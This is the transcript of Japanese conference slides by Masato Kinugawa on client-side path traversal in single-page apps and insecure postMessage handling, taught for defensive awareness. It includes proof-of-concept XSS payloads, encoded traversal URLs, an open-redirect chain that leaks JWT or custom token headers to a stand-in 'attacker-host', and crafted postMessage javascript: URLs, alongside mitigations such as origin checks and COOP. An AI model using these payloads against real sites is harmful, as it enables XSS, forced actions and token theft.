Upgrade to Pro — share decks privately, control downloads, hide ads and more …

注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3

Masato Kinugawa
February 22, 2024
3.2k

注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3

Security.Tokyo #3の発表資料です。
クライアントサイドのパストラバーサルと、postMessage経由の脆弱性を取り上げました。

Masato Kinugawa

February 22, 2024
Tweet

More Decks by Masato Kinugawa

Transcript

  1. Client-side Path Traversal: 取り上げた理由 • SPA(Single Page Application)の流行と共に増えている作り込み パターンがあり、今こそ知ってほしい •

    Bug Bountyのwrite upなどでも実例が見られる(下部のURL参照) • 悪用できるかは状況次第で、少しわかりにくい https://medium.com/@Nightbloodz/the-power-of-client-side-path-traversal-how-i-found-and-escalated-2-bugs-through-670338afc90f The power of Client-Side Path Traversal: How I found and escalated 2 bugs through “../” by Alvaro Balada
  2. 期待された動作はこんなかんじ 1. /posts/12 を開く 2. JSが /api/posts/12 をフェッチ 3. 応答のJSONからコンテンツを表示

    HTTP/1.1 200 OK Content-Type: application/json;charset=utf-8 [...] { "title":"Hey!", "content":"<p>hello</p>" } GET /api/posts/12 HTTP/1.1
  3. 異常な動作(パストラバーサル) 1. /posts/..%5C..%5Cfoo を開く 2. JSが /foo をフェッチ ( /api/posts/..\..\foo

    の正規化後のURL) 3. 応答からコンテンツを表示しようとするが、JSONでないのでエラー HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 [...] <!DOCTYPE html>... (SPAのHTMLが続く) GET /foo HTTP/1.1
  4. Path Traversal + File Upload = XSS 1. /posts/..%5C..%5Cfiles%5C123 を開く

    2. JSが /files/123 をフェッチ 3. 応答からコンテンツを表示しようとすると… /files/:id でユーザーがアップロードしたファイルがホストされるとき… { "title":"Uploaded by attacker", "content":"<img src=x onerror=alert(/XSS/)>" } GET /files/123 HTTP/1.1 OK /XSS/
  5. Path Traversal + Open Redirect = XSS HTTP/1.1 200 OK

    Content-Type: application/json Access-Control-Allow-Origin: * [...] {"title":"Hello from Attacker's server", "content":"<img src=x onerror=alert(/XSS/)>"} 1. /posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2F を開く 2. JSが /redirect?url=https://attacker-host/ をフェッチ 3. リダイレクト後の応答からコンテンツを表示しようとすると… /redirect?url=* に3xx応答のオープンリダイレクトがあるとき… https://attacker-host/ の応答: (CORS用ヘッダを返してやる) HTTP/1.1 302 Found Location: https://attacker-host/ OK /XSS/
  6. Path Traversal + Another API response = XSS { "title":"attacker's

    content", "content":"<img src=x onerror=alert(/XSS/)>" } GET /api/guest-posts/123 HTTP/1.1 あり得ない…と思うかもしれないけど何度か見てる 1. /posts/..%5Cguest-posts%5C123 を開く 2. JSが /api/guest-posts/123 をフェッチ 3. 応答からコンテンツを表示しようとすると… OK /XSS/ /api/guest-posts/:id に同じ名前のJSONプロパティを返すエン ドポイントがたまたまあり、かつ、ユーザー入力を置けるとき …
  7. Path Traversal + Another API = CSRF 1. /posts/..%5Cusers%5C123%5Cfollow を開く

    2. JSが /api/users/123/follow をAuthorizationヘッダと共にフェッチ 3. ユーザーID:123 のユーザーをfollowしてしまう /api/users/:id/follow へのAuthorizationヘッダ付きのGETで、 idのユーザーをフォローする機能があるとき… GET /api/users/123/follow HTTP/1.1 Host: example.com Authorization: Bearer eyJ[...] [...] HTTP/1.1 200 OK [...] Following
  8. Path Traversal + Open Redirect = JWT Leak 1. /posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2F

    を開く 2. JSが /redirect?url=https://attacker-host/ をフェッチ 3. attacker-hostはJWTを含むAuthorizationヘッダを受信 /redirect?url=* に3xx応答のオープンリダイレクトがあるとき… ……というシナリオが比較的最近まで可能だったのだが… HTTP/1.1 200 OK Access-Control-Allow-Headers: Authorization Access-Control-Allow-Origin: https://example.com [...] OPTIONS / HTTP/1.1 Host: attacker-host Access-Control-Request-Method: GET Access-Control-Request-Headers: Authorization リダイレクトからのpreflightリクエストと、ヘッダ受信のためのCORS応答: GET / HTTP/1.1 Host: attacker-host Authorization: Bearer eyJ[...] preflight通過後のリクエスト:
  9. Fetch仕様の変更 • Fetch仕様が変更されてAuthorizationヘッダはクロスオリジンリダイ レクト時に常に取り除かれるようになった • ただし、カスタムヘッダで代替している場合にはリークのシナリオが まだありうることに注意 HTTP/1.1 200 OK

    Access-Control-Allow-Headers: X-Token Access-Control-Allow-Origin: https://example.com [...] OPTIONS / HTTP/1.1 Host: attacker-host Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Token リダイレクトからのpreflightリクエストと、ヘッダ受信のためのCORS応答: GET / HTTP/1.1 Host: attacker-host X-Token: Bearer eyJ[...] preflight通過後のリクエスト: Remove Authorization header upon cross-origin redirect #1544: https://github.com/whatwg/fetch/pull/1544
  10. 送信時の脆弱性: 対策 • ちゃんと送信先オリジンを第2引数で指定するだけ https://attacker.test opener.postMessage('super-secret','https://trusted.test'); https://example.com (popup) window.open() Failed

    to execute 'postMessage' on 'DOMWindow': The target origin provided ('https://trusted.test') does not match the recipient window's origin ('https://attacker.test'). PM
  11. 受信時の脆弱性: 攻撃例 https://example.com opener.postMessage({"cmd":"navigate","url":"javascript:alert(/XSS/)"},'*'); https://attacker.test (popup) https://attacker.test 1. window.open() で

    attackerのページを開く PM 2. window.open後、自身をナビゲーション 3. 脆弱なリスナーがあるページに向けて細工したメッセージを送信 (直前のスライドのmessageリスナーがあるページ) 4. XSS!
  12. 受信時の脆弱性: 対策 • event.originプロパティをチェックして期待したオリジンかどう かをチェックする window.addEventListener('message', event => { if(event.origin

    !== 'https://trusted.test') {return;} switch(event.data.cmd) { case 'navigate': location.href = event.data.url;// XSS!! [...] } },false); 簡単に聞こえるが、このチェックのやらかしがかなり多い…
  13. origin検証の失敗例 #2: startsWith/endsWith • 指定した文字列で 始まる/終わる ならtrue if(!event.origin.startsWith('https://trusted.test')){ return; }

    if(!event.origin.endsWith('trusted.test')){ return; } サブドメインを許可したい意図のendsWithはありがち:
  14. XSSからXSSへ繋げる例 https://example.com opener.postMessage({"cmd":"navigate","url":"javascript:alert(/XSS/)"},'*'); https://trusted.test (popup) https://attacker.test 1. window.open() で XSSに脆弱なtrusted.testページを開く

    PM 2. window.open後、自身をナビゲーション 3. XSSから脆弱なリスナーがあるページに向けて細工したメッセージを送信 (https://trusted.testだけを許可するmessageリス ナーがあるページ) 4. XSS! /search?q=%22%3E%3Cscript%3E...
  15. 見落としそうな脆弱パターン: iframe https://example.com opener[0].postMessage([...],'*'); https://attacker.test (popup) https://attacker.test 1. window.open() で

    attackerのページを開く 2. window.open後、自身をナビゲーション 3. 脆弱なリスナーがあるiframeに向けて細工したメッセージを送信 <iframe srcdoc=...> PM (ここに脆弱なmessageリスナー) 4. XSS! 別のwindowからiframeへメッセージを送れることにも注意
  16. 緩和策: Cross-Origin-Opener-Policy(COOP) • ウィンドウ間のアクセスを無効にするレスポンスヘッダ • opener や window.open()の戻り値からのアクセスも無効に • 別windowからメッセージを送る経路がなくなるのでpostMessage経

    由の攻撃も軽減される • ただし脆弱なリスナーがあるページのiframeに攻撃者のサイトをロードできる 場合などでは、まだiframeからメッセージが送られる可能性があることに注意 Cross-Origin-Opener-Policy: same-origin